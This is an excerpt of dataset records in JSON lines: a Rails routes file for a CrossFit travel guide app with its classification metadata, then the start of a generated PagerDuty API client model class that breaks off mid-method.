{"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/AvaHenriksen/crossfit_travel_guide/blob/057e9a20cb5beb91bf1f15349caa89c1c1b5a18c/config/routes.rb", "id": "ruby-0-d491506f3078384e890c7cf0ecebd793", "text": "Rails.application.routes.draw do\n devise_for :admin_users, ActiveAdmin::Devise.config\n ActiveAdmin.routes(self)\n root :to => \"boxes#index\"\n # Routes for the Photo resource:\n # CREATE\n get \"/photos/new\", :controller => \"photos\", :action => \"new\"\n post \"/create_photo\", :controller => \"photos\", :action => \"create\"\n\n # READ\n get \"/photos\", :controller => \"photos\", :action => \"index\"\n get \"/photos/:id\", :controller => \"photos\", :action => \"show\"\n\n # UPDATE\n get \"/photos/:id/edit\", :controller => \"photos\", :action => \"edit\"\n post \"/update_photo/:id\", :controller => \"photos\", :action => \"update\"\n\n # DELETE\n get \"/delete_photo/:id\", :controller => \"photos\", :action => \"destroy\"\n #------------------------------\n\n # Routes for the Comment resource:\n # CREATE\n get \"/comments/new\", :controller => \"comments\", :action => \"new\"\n post \"/create_comment\", :controller => \"comments\", :action => \"create\"\n\n # READ\n get \"/comments\", :controller => \"comments\", :action => \"index\"\n get \"/comments/:id\", :controller => \"comments\", :action => \"show\"\n\n # UPDATE\n get \"/comments/:id/edit\", :controller => \"comments\", :action => \"edit\"\n post \"/update_comment/:id\", :controller => \"comments\", :action => \"update\"\n\n # DELETE\n get \"/delete_comment/:id\", :controller => \"comments\", :action => \"destroy\"\n #------------------------------\n\n # Routes for the Bookmark resource:\n # CREATE\n get \"/bookmarks/new\", :controller => \"bookmarks\", :action => \"new\"\n post \"/create_bookmark\", :controller => \"bookmarks\", :action => \"create\"\n\n # READ\n get \"/bookmarks\", :controller => \"bookmarks\", :action => \"index\"\n get \"/bookmarks/:id\", :controller => \"bookmarks\", :action => \"show\"\n\n # UPDATE\n get \"/bookmarks/:id/edit\", :controller => \"bookmarks\", :action => \"edit\"\n post \"/update_bookmark/:id\", :controller => \"bookmarks\", :action => \"update\"\n\n # DELETE\n get \"/delete_bookmark/:id\", :controller => \"bookmarks\", :action => \"destroy\"\n #------------------------------\n\n # Routes for the Food_option resource:\n # CREATE\n get \"/food_options/new\", :controller => \"food_options\", :action => \"new\"\n post \"/create_food_option\", :controller => \"food_options\", :action => \"create\"\n\n # READ\n get \"/food_options\", :controller => \"food_options\", :action => \"index\"\n get \"/food_options/:id\", :controller => \"food_options\", :action => \"show\"\n\n # UPDATE\n get \"/food_options/:id/edit\", :controller => \"food_options\", :action => \"edit\"\n post \"/update_food_option/:id\", :controller => \"food_options\", :action => \"update\"\n\n # DELETE\n get \"/delete_food_option/:id\", :controller => \"food_options\", :action => \"destroy\"\n #------------------------------\n\n # Routes for the City resource:\n # CREATE\n get \"/cities/new\", :controller => \"cities\", :action => \"new\"\n post \"/create_city\", :controller => \"cities\", :action => \"create\"\n\n # READ\n get \"/cities\", :controller => \"cities\", :action => \"index\"\n get \"/cities/:id\", :controller => \"cities\", :action => \"show\"\n\n # UPDATE\n get \"/cities/:id/edit\", :controller => \"cities\", :action => \"edit\"\n post \"/update_city/:id\", :controller => \"cities\", :action => \"update\"\n\n # DELETE\n get \"/delete_city/:id\", :controller => \"cities\", :action => \"destroy\"\n #------------------------------\n\n # Routes for the Box resource:\n # CREATE\n get \"/boxes/new\", :controller => \"boxes\", :action => \"new\"\n post \"/create_box\", :controller => \"boxes\", :action => \"create\"\n\n # READ\n get \"/boxes\", :controller => \"boxes\", :action => \"index\"\n get \"/boxes/:id\", :controller => \"boxes\", :action => \"show\"\n\n # UPDATE\n get \"/boxes/:id/edit\", :controller => \"boxes\", :action => \"edit\"\n post \"/update_box/:id\", :controller => \"boxes\", :action => \"update\"\n\n # DELETE\n get \"/delete_box/:id\", :controller => \"boxes\", :action => \"destroy\"\n #------------------------------\n\n devise_for :users\n # Routes for the User resource:\n # READ\n get \"/users\", :controller => \"users\", :action => \"index\"\n get \"/users/:id\", :controller => \"users\", :action => \"show\"\n\n\n # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html\nend\n", "text_preview": "Rails.application.routes.draw do devise_for :admin_users, ActiveAdmin::Devise.config ActiveAdmin.routes(self) root :to => \"boxes#index\" # Routes for the Photo resource: # CREATE get \"/photos/new\", :controller => \"photos\", :action => \"new\" p", "input_sha256": "bd62aedeb72ea90219809d178212a72153f0faef2d0d8171c3d80fa8923d37f2", "text_sha256": "d491506f3078384e890c7cf0ecebd793edc4fbf4e9398d64797815b103c14686", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16001, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2944668965239905, "noise_severity": 0.18954386341322968, "missing_content_severity": 0.007119879465393749, "factual_density": 3.0742915513444418, "pretraining_utility": -0.023149664806855548, "math_density": 0.001531154938836833, "code_density": 3.8325608965472475, "reasoning_density": 0.01018511830944573, "education_level": 2.0844939269197074, "creative_writing_quality": -0.35875414208061035}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.05452105183448963, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9859132780208177, "secondary": 0.8791845817018261, "tertiary": 0.9360761140508589, "structured_records": 0.6712559448854457, "procedural_steps": 0.0006801818346821716, "worked_solution": 0.00043244159713072794, "contextual_dialogue": 8.186573203957478e-06, "content_quality": 0.5755494430132918, "noise_severity": 0.8420467804889753, "missing_content_severity": 0.9940667671121719, "factual_density": 0.5064418193249949, "pretraining_utility": 0.4783932186592117, "math_density": 0.9987240375509693, "code_density": 0.8604674137893731, "reasoning_density": 0.9915124014087953, "education_level": 0.7491511557862788, "creative_writing_quality": 0.999613033708062, "primary_topic": 0.9662232230884146, "secondary_topic": 0.7643339707776308}, "probability_margin": {"primary": 0.9760658204527449, "secondary": 0.7966478543818313, "tertiary": 0.9002936985736771, "education_level": 0.6579671091346558, "creative_writing_quality": 0.9995405134314331, "primary_topic": 0.9533872382970832, "secondary_topic": 0.6670895298090476}, "raw_probabilities": {"primary": {"Academic Writing": 4.6762168117539784e-05, "Content Listing": 0.0003333879901158302, "Creative Writing": 2.38482949496339e-05, "Customer Support Page": 2.0704271746231336e-05, "Q&A Forum": 1.8485652623808222e-05, "Discussion Thread": 1.4477874330781138e-05, "Comment Section": 2.5067907952266163e-05, "Missing Content": 3.749518747283023e-05, "Knowledge Article": 9.992477468307987e-05, "Legal Notices": 4.0047115549047616e-05, "News Article": 9.252699560151347e-06, "Organizational Announcement": 2.0672250184757918e-05, "Nonfiction Writing": 1.995225657420746e-05, "Organizational About Page": 2.7805326032731312e-05, "Personal About Page": 3.608968054722681e-05, "Personal Blog": 1.5449591029245582e-05, "Product Page": 1.3239977282730535e-05, "Spam / Ads": 1.909887881341983e-05, "Structured Data": 0.010434404317205435, "Technical Writing": 0.9865002247699504, "Transcript / Interview": 2.3983248683403494e-05, "Tutorial / How-To Guide": 0.00047521923576672725, "User Reviews": 1.4357879133534544e-05, "Other / Unknown": 0.00173004865169509}, "secondary": {"Academic Writing": 0.0003195978805936834, "Content Listing": 0.00327921638878004, "Creative Writing": 0.00034029989514600627, "Customer Support Page": 0.00021012507418307366, "Q&A Forum": 0.00012887529078226808, "Discussion Thread": 0.00013035377456910551, "Comment Section": 0.0001795219650371498, "Missing Content": 0.00038834310173494293, "Knowledge Article": 0.0006999261367980931, "Legal Notices": 0.00018923551792069174, "News Article": 0.00017757054806409158, "Organizational Announcement": 0.00016636447374217362, "Nonfiction Writing": 0.00016841038580343146, "Organizational About Page": 0.00020928711168893984, "Personal About Page": 0.0001664136648462095, "Personal Blog": 0.00018583252241309055, "Product Page": 0.00010590528626651978, "Spam / Ads": 0.00019507155032233014, "Structured Data": 0.08757070308241874, "Technical Writing": 0.019590771553683127, "Transcript / Interview": 0.00020204736740080483, "Tutorial / How-To Guide": 0.0010886268475144465, "User Reviews": 8.894311604088796e-05, "NONE": 0.88421855746425}, "tertiary": {"Academic Writing": 0.00016528189832195201, "Content Listing": 0.004684505799370435, "Creative Writing": 0.0001934283552281223, "Customer Support Page": 0.0001521798225180077, "Q&A Forum": 6.603455865217142e-05, "Discussion Thread": 6.586295346630317e-05, "Comment Section": 0.00011373246308068721, "Missing Content": 0.0002969723702528959, "Knowledge Article": 0.0008744337754012898, "Legal Notices": 0.00021603005379871337, "News Article": 9.951593495355934e-05, "Organizational Announcement": 0.00010299864785759927, "Nonfiction Writing": 0.00011971901956407245, "Organizational About Page": 0.00013622791864524703, "Personal About Page": 0.00013207963487691111, "Personal Blog": 0.00010832341795100237, "Product Page": 7.028400371045579e-05, "Spam / Ads": 0.00011908050355062697, "Structured Data": 0.03844591072506259, "Technical Writing": 0.0125917925203498, "Transcript / Interview": 0.00010129678703253993, "Tutorial / How-To Guide": 0.0023502824260188773, "User Reviews": 5.4417111596374175e-05, "NONE": 0.9387396092987398}, "structured_records": {"false": 0.3287440551145543, "true": 0.6712559448854457}, "procedural_steps": {"false": 0.9993198181653178, "true": 0.0006801818346821716}, "worked_solution": {"false": 0.9995675584028693, "true": 0.00043244159713072794}, "contextual_dialogue": {"false": 0.999991813426796, "true": 8.186573203957478e-06}, "content_quality": {"-2": 0.0027213431568285686, "-1": 0.006414287286210582, "0": 0.0864442818871227, "1": 0.5025163052158179, "2": 0.4019037824540202}, "noise_severity": {"0": 0.8348117088517958, "1": 0.14526427889192217, "2": 0.01681610606417297, "3": 0.00178425237547481, "4": 0.0013236538166342853}, "missing_content_severity": {"0": 0.99536625962561, "1": 0.002783567572506349, "2": 0.0013487264082911595, "3": 0.0003669264980648038, "4": 0.0001345198955276673}, "factual_density": {"0": 0.00648772199927895, "1": 0.015719735191569068, "2": 0.2080864963518072, "3": 0.4364253623801208, "4": 0.33328068407722394}, "pretraining_utility": {"-2": 0.03093329131633886, "-1": 0.26267231857522305, "0": 0.44228856893074353, "1": 0.2268224059543436, "2": 0.03728341522335082}, "math_density": {"0": 0.9991120069934908, "1": 0.0005849291469781592, "2": 0.00010248790327949642, "3": 6.1053839706562e-05, "4": 0.00013952211654499875}, "code_density": {"0": 0.0002870758427283635, "1": 0.0006074912621274675, "2": 0.018624544889503988, "3": 0.12721923651644854, "4": 0.8532616514891916}, "reasoning_density": {"0": 0.993795580923513, "1": 0.003067960475849709, "2": 0.0024944530550280743, "3": 0.0004397704588982266, "4": 0.00020223508671129867}, "education_level": {"none": 0.001532437344203066, "0": 0.002590608984606809, "1": 0.06243248792379608, "2": 0.7909592964885657, "3": 0.13299218735390986, "4": 0.009492981904918412}, "creative_writing_quality": {"not_applicable": 0.9996775280900516, "-2": 5.662585866922874e-05, "-1": 7.385397214184688e-05, "0": 0.00013701465861845657, "1": 3.853728495568202e-05, "2": 1.6440135563023272e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.225074633899635e-05, "Art & Design": 0.00013097074350813814, "Law & Crime": 8.997921221439698e-05, "Education & Careers": 9.825134084175038e-05, "Entertainment & Media": 9.142721363421831e-05, "Fashion & Beauty": 0.00014879881224140993, "Business, Economics & Finance": 0.00016179029837354005, "Food & Dining": 0.0005768857692965952, "Games & Gaming": 0.00014703545296401886, "Electronics & Hardware": 0.00010347693102669477, "Health, Healthcare & Wellness": 0.00022797644823359503, "History & Geography": 0.00013138225850196732, "Home, Pets & Hobbies": 0.00013853763833452168, "Industry & Production": 6.413351392722145e-05, "Language, Literature & Philosophy": 8.365313044254376e-05, "Politics & Government": 4.744925469472601e-05, "Religion & Spirituality": 9.669590610890112e-05, "Science, Mathematics & Engineering": 0.00020574459161634267, "Relationships & Community": 0.0001575730297931762, "Software Usage & Applications": 0.0037729162586616696, "Programming & Software Engineering": 0.9675223298927064, "Sports & Fitness": 0.01040935149505473, "Vehicles & Transportation": 5.423615959017723e-05, "Travel & Tourism": 0.014135091595623159, "Other / Uncovered Subject": 0.0005311202030637727, "Unknown / Insufficient Content": 0.0008309421032073301}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008410986837075222, "Art & Design": 0.0009752147819473456, "Law & Crime": 0.000900788980948957, "Education & Careers": 0.0005528356849871168, "Entertainment & Media": 0.0009697406583868528, "Fashion & Beauty": 0.0006397389836642668, "Business, Economics & Finance": 0.0008836934948801367, "Food & Dining": 0.006240053219133446, "Games & Gaming": 0.0006845561381741383, "Electronics & Hardware": 0.0005284757137353456, "Health, Healthcare & Wellness": 0.0016368822854658175, "History & Geography": 0.0008413233112766238, "Home, Pets & Hobbies": 0.000542478788439215, "Industry & Production": 0.00030241689283453104, "Language, Literature & Philosophy": 0.0003532219567825791, "Politics & Government": 0.00036264598234008117, "Religion & Spirituality": 0.0006086086552878315, "Science, Mathematics & Engineering": 0.0007314508583566779, "Relationships & Community": 0.0006405506295596293, "Software Usage & Applications": 0.015334295804735623, "Programming & Software Engineering": 0.042708671862281326, "Sports & Fitness": 0.04154970373889733, "Vehicles & Transportation": 0.00030821893962915895, "Travel & Tourism": 0.10630851901559735, "Other / Uncovered Subject": 0.0011567661143061852, "NONE": 0.7733980488246449}}, "probabilities": {"primary": {"Academic Writing": 4.6762168117539784e-05, "Content Listing": 0.0003333879901158302, "Creative Writing": 2.38482949496339e-05, "Customer Support Page": 2.0704271746231336e-05, "Q&A Forum": 1.8485652623808222e-05, "Discussion Thread": 1.4477874330781138e-05, "Comment Section": 2.5067907952266163e-05, "Missing Content": 3.749518747283023e-05, "Knowledge Article": 9.992477468307987e-05, "Legal Notices": 4.0047115549047616e-05, "News Article": 9.252699560151347e-06, "Organizational Announcement": 2.0672250184757918e-05, "Nonfiction Writing": 1.995225657420746e-05, "Organizational About Page": 2.7805326032731312e-05, "Personal About Page": 3.608968054722681e-05, "Personal Blog": 1.5449591029245582e-05, "Product Page": 1.3239977282730535e-05, "Spam / Ads": 1.909887881341983e-05, "Structured Data": 0.010434404317205435, "Technical Writing": 0.9865002247699504, "Transcript / Interview": 2.3983248683403494e-05, "Tutorial / How-To Guide": 0.00047521923576672725, "User Reviews": 1.4357879133534544e-05, "Other / Unknown": 0.00173004865169509}, "secondary": {"Academic Writing": 0.00031959788059368344, "Content Listing": 0.0032792163887800404, "Creative Writing": 0.0003402998951460063, "Customer Support Page": 0.0002101250741830737, "Q&A Forum": 0.0001288752907822681, "Discussion Thread": 0.00013035377456910554, "Comment Section": 0.00017952196503714983, "Missing Content": 0.000388343101734943, "Knowledge Article": 0.0006999261367980932, "Legal Notices": 0.00018923551792069177, "News Article": 0.0001775705480640916, "Organizational Announcement": 0.00016636447374217365, "Nonfiction Writing": 0.0001684103858034315, "Organizational About Page": 0.00020928711168893987, "Personal About Page": 0.00016641366484620952, "Personal Blog": 0.00018583252241309058, "Product Page": 0.00010590528626651979, "Spam / Ads": 0.00019507155032233016, "Structured Data": 0.08757070308241875, "Technical Writing": 0.01959077155368313, "Transcript / Interview": 0.00020204736740080486, "Tutorial / How-To Guide": 0.0010886268475144467, "User Reviews": 8.894311604088798e-05, "NONE": 0.8842185574642502}, "tertiary": {"Academic Writing": 0.00016528189832195201, "Content Listing": 0.004684505799370435, "Creative Writing": 0.0001934283552281223, "Customer Support Page": 0.0001521798225180077, "Q&A Forum": 6.603455865217142e-05, "Discussion Thread": 6.586295346630317e-05, "Comment Section": 0.00011373246308068721, "Missing Content": 0.0002969723702528959, "Knowledge Article": 0.0008744337754012898, "Legal Notices": 0.00021603005379871337, "News Article": 9.951593495355934e-05, "Organizational Announcement": 0.00010299864785759927, "Nonfiction Writing": 0.00011971901956407245, "Organizational About Page": 0.00013622791864524703, "Personal About Page": 0.00013207963487691111, "Personal Blog": 0.00010832341795100237, "Product Page": 7.028400371045579e-05, "Spam / Ads": 0.00011908050355062697, "Structured Data": 0.03844591072506259, "Technical Writing": 0.0125917925203498, "Transcript / Interview": 0.00010129678703253993, "Tutorial / How-To Guide": 0.0023502824260188773, "User Reviews": 5.4417111596374175e-05, "NONE": 0.9387396092987398}, "structured_records": {"false": 0.3287440551145543, "true": 0.6712559448854457}, "procedural_steps": {"false": 0.9993198181653178, "true": 0.0006801818346821716}, "worked_solution": {"false": 0.9995675584028693, "true": 0.00043244159713072794}, "contextual_dialogue": {"false": 0.999991813426796, "true": 8.186573203957478e-06}, "content_quality": {"-2": 0.0027213431568285686, "-1": 0.006414287286210582, "0": 0.0864442818871227, "1": 0.5025163052158179, "2": 0.4019037824540202}, "noise_severity": {"0": 0.8348117088517958, "1": 0.14526427889192217, "2": 0.01681610606417297, "3": 0.00178425237547481, "4": 0.0013236538166342853}, "missing_content_severity": {"0": 0.99536625962561, "1": 0.002783567572506349, "2": 0.0013487264082911595, "3": 0.0003669264980648038, "4": 0.0001345198955276673}, "factual_density": {"0": 0.00648772199927895, "1": 0.015719735191569068, "2": 0.2080864963518072, "3": 0.4364253623801208, "4": 0.33328068407722394}, "pretraining_utility": {"-2": 0.030933291316338863, "-1": 0.2626723185752231, "0": 0.4422885689307436, "1": 0.22682240595434364, "2": 0.037283415223350824}, "math_density": {"0": 0.9991120069934908, "1": 0.0005849291469781592, "2": 0.00010248790327949642, "3": 6.1053839706562e-05, "4": 0.00013952211654499875}, "code_density": {"0": 0.0002870758427283635, "1": 0.0006074912621274675, "2": 0.018624544889503988, "3": 0.12721923651644854, "4": 0.8532616514891916}, "reasoning_density": {"0": 0.9937955809235127, "1": 0.003067960475849708, "2": 0.002494453055028074, "3": 0.00043977045889822647, "4": 0.00020223508671129861}, "education_level": {"none": 0.0015324373442030662, "0": 0.0025906089846068096, "1": 0.06243248792379609, "2": 0.7909592964885658, "3": 0.13299218735390989, "4": 0.009492981904918414}, "creative_writing_quality": {"not_applicable": 0.9996775280900517, "-2": 5.6625858669228746e-05, "-1": 7.38539721418469e-05, "0": 0.0001370146586184566, "1": 3.853728495568203e-05, "2": 1.6440135563023275e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.225074633899635e-05, "Art & Design": 0.00013097074350813814, "Law & Crime": 8.997921221439698e-05, "Education & Careers": 9.825134084175038e-05, "Entertainment & Media": 9.142721363421831e-05, "Fashion & Beauty": 0.00014879881224140993, "Business, Economics & Finance": 0.00016179029837354005, "Food & Dining": 0.0005768857692965952, "Games & Gaming": 0.00014703545296401886, "Electronics & Hardware": 0.00010347693102669477, "Health, Healthcare & Wellness": 0.00022797644823359503, "History & Geography": 0.00013138225850196732, "Home, Pets & Hobbies": 0.00013853763833452168, "Industry & Production": 6.413351392722145e-05, "Language, Literature & Philosophy": 8.365313044254376e-05, "Politics & Government": 4.744925469472601e-05, "Religion & Spirituality": 9.669590610890112e-05, "Science, Mathematics & Engineering": 0.00020574459161634267, "Relationships & Community": 0.0001575730297931762, "Software Usage & Applications": 0.0037729162586616696, "Programming & Software Engineering": 0.9675223298927064, "Sports & Fitness": 0.01040935149505473, "Vehicles & Transportation": 5.423615959017723e-05, "Travel & Tourism": 0.014135091595623159, "Other / Uncovered Subject": 0.0005311202030637727, "Unknown / Insufficient Content": 0.0008309421032073301}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008410986837075222, "Art & Design": 0.0009752147819473456, "Law & Crime": 0.000900788980948957, "Education & Careers": 0.0005528356849871168, "Entertainment & Media": 0.0009697406583868528, "Fashion & Beauty": 0.0006397389836642668, "Business, Economics & Finance": 0.0008836934948801367, "Food & Dining": 0.006240053219133446, "Games & Gaming": 0.0006845561381741383, "Electronics & Hardware": 0.0005284757137353456, "Health, Healthcare & Wellness": 0.0016368822854658175, "History & Geography": 0.0008413233112766238, "Home, Pets & Hobbies": 0.000542478788439215, "Industry & Production": 0.00030241689283453104, "Language, Literature & Philosophy": 0.0003532219567825791, "Politics & Government": 0.00036264598234008117, "Religion & Spirituality": 0.0006086086552878315, "Science, Mathematics & Engineering": 0.0007314508583566779, "Relationships & Community": 0.0006405506295596293, "Software Usage & Applications": 0.015334295804735623, "Programming & Software Engineering": 0.042708671862281326, "Sports & Fitness": 0.04154970373889733, "Vehicles & Transportation": 0.00030821893962915895, "Travel & Tourism": 0.10630851901559735, "Other / Uncovered Subject": 0.0011567661143061852, "NONE": 0.7733980488246449}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9657, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9657, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:05.084192+00:00", "scoring_key_slot": "primary", "dataset_uid": "f018274a-1bf8-4961-9464-036c0ca774a1", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "59457ae16160b60555e4f9b4c9eac18d3c28337eac017c9e98b72e48335006fd", "source_metadata": {"uuid": "f018274a-1bf8-4961-9464-036c0ca774a1", "repo_name": "AvaHenriksen/crossfit_travel_guide", "relative_path": "config/routes.rb", "category": "CONFIG", "algo_rel_score": 0.7802431583404541, "quality_score": 6.6303582191467285, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 75, "repo_created_at": "2017-02-17T17:04:27.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "8b2c07e5005ea9a863d12155172546f1ef4330d3", "size_bytes": 4098, "file_timestamp": 1487804683, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "057e9a20cb5beb91bf1f15349caa89c1c1b5a18c"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 75, "repo_created_at": "2017-02-17T17:04:27.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "8b2c07e5005ea9a863d12155172546f1ef4330d3", "size_bytes": 4098, "file_timestamp": 1487804683, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "057e9a20cb5beb91bf1f15349caa89c1c1b5a18c", "url": "https://github.com/AvaHenriksen/crossfit_travel_guide/blob/057e9a20cb5beb91bf1f15349caa89c1c1b5a18c/config/routes.rb"}, "gpt4o_tokens": 1106, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2944668965239905, "noise_severity": 0.18954386341322968, "missing_content_severity": 0.007119879465393749, "factual_density": 3.0742915513444418, "pretraining_utility": -0.023149664806855548, "math_density": 0.001531154938836833, "code_density": 3.8325608965472475, "reasoning_density": 0.01018511830944573, "education_level": 2.0844939269197074, "creative_writing_quality": -0.35875414208061035}, "score_applicability": {"education_level": 0.998467562655797, "creative_writing_quality": 0.00032247190994823754}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/OilCan/pager_duty_openapi_client/blob/47b5cbfa120b06b9e25a56ea849e2efea2315e40/lib/pager_duty_openapi_client/models/event_rule.rb", "id": "ruby-0-2dd039c16a9caf76def4f0c89d531387", "text": "=begin\n#PagerDuty API\n\n#This document describes the PagerDuty REST APIs. For guides and examples please visit our [Documentation.](https://developer.pagerduty.com/docs/get-started/getting-started/) Our REST APIs are defined in OpenAPI v3.x. You can view the schema at [github.com/PagerDuty/api-schema](https://github.com/PagerDuty/api-schema). Note that properties in some schemas have fields not shown by default such as `readOnly`, `format`, and `default`. Hover your cursor over the right column that looks like `optional+1` to see the full list of fields. \n\nThe version of the OpenAPI document: 2.0.0\nContact: \nGenerated by: https://openapi-generator.tech\nGenerator version: 7.6.0\n\n=end\n\nrequire 'date'\nrequire 'time'\n\nmodule PagerDutyOpenapiClient\n class EventRule\n # ID of the Event Rule.\n attr_accessor :id\n\n # the API show URL at which the object is accessible.\n attr_accessor :_self\n\n # Indicates whether the Event Rule is disabled and would therefore not be evaluated.\n attr_accessor :disabled\n\n attr_accessor :conditions\n\n attr_accessor :time_frame\n\n # [Early Access] Populate variables from event payloads and use those variables in other event actions.\n attr_accessor :variables\n\n # Position/index of the Event Rule in the Ruleset. Starting from position 0 (the first rule), rules are evaluated one-by-one until a matching rule is found.\n attr_accessor :position\n\n # Indicates whether the Event Rule is the last Event Rule of the Ruleset that serves as a catch-all. It has limited functionality compared to other rules and always matches.\n attr_accessor :catch_all\n\n attr_accessor :actions\n\n # Attribute mapping from ruby-style variable name to JSON key.\n def self.attribute_map\n {\n :'id' => :'id',\n :'_self' => :'self',\n :'disabled' => :'disabled',\n :'conditions' => :'conditions',\n :'time_frame' => :'time_frame',\n :'variables' => :'variables',\n :'position' => :'position',\n :'catch_all' => :'catch_all',\n :'actions' => :'actions'\n }\n end\n\n # Returns all the JSON keys this model knows about\n def self.acceptable_attributes\n attribute_map.values\n end\n\n # Attribute type mapping.\n def self.openapi_types\n {\n :'id' => :'String',\n :'_self' => :'String',\n :'disabled' => :'Boolean',\n :'conditions' => :'EventRuleAllOfConditions',\n :'time_frame' => :'EventRuleAllOfTimeFrame',\n :'variables' => :'Array',\n :'position' => :'Integer',\n :'catch_all' => :'Boolean',\n :'actions' => :'EventRuleAllOfActions'\n }\n end\n\n # List of attributes with nullable: true\n def self.openapi_nullable\n Set.new([\n ])\n end\n\n # Initializes the object\n # @param [Hash] attributes Model attributes in the form of hash\n def initialize(attributes = {})\n if (!attributes.is_a?(Hash))\n fail ArgumentError, \"The input argument (attributes) must be a hash in `PagerDutyOpenapiClient::EventRule` initialize method\"\n end\n\n # check to see if the attribute exists and convert string to symbol for hash key\n attributes = attributes.each_with_object({}) { |(k, v), h|\n if (!self.class.attribute_map.key?(k.to_sym))\n fail ArgumentError, \"`#{k}` is not a valid attribute in `PagerDutyOpenapiClient::EventRule`. Please check the name to make sure it's valid. List of attributes: \" + self.class.attribute_map.keys.inspect\n end\n h[k.to_sym] = v\n }\n\n if attributes.key?(:'id')\n self.id = attributes[:'id']\n end\n\n if attributes.key?(:'_self')\n self._self = attributes[:'_self']\n end\n\n if 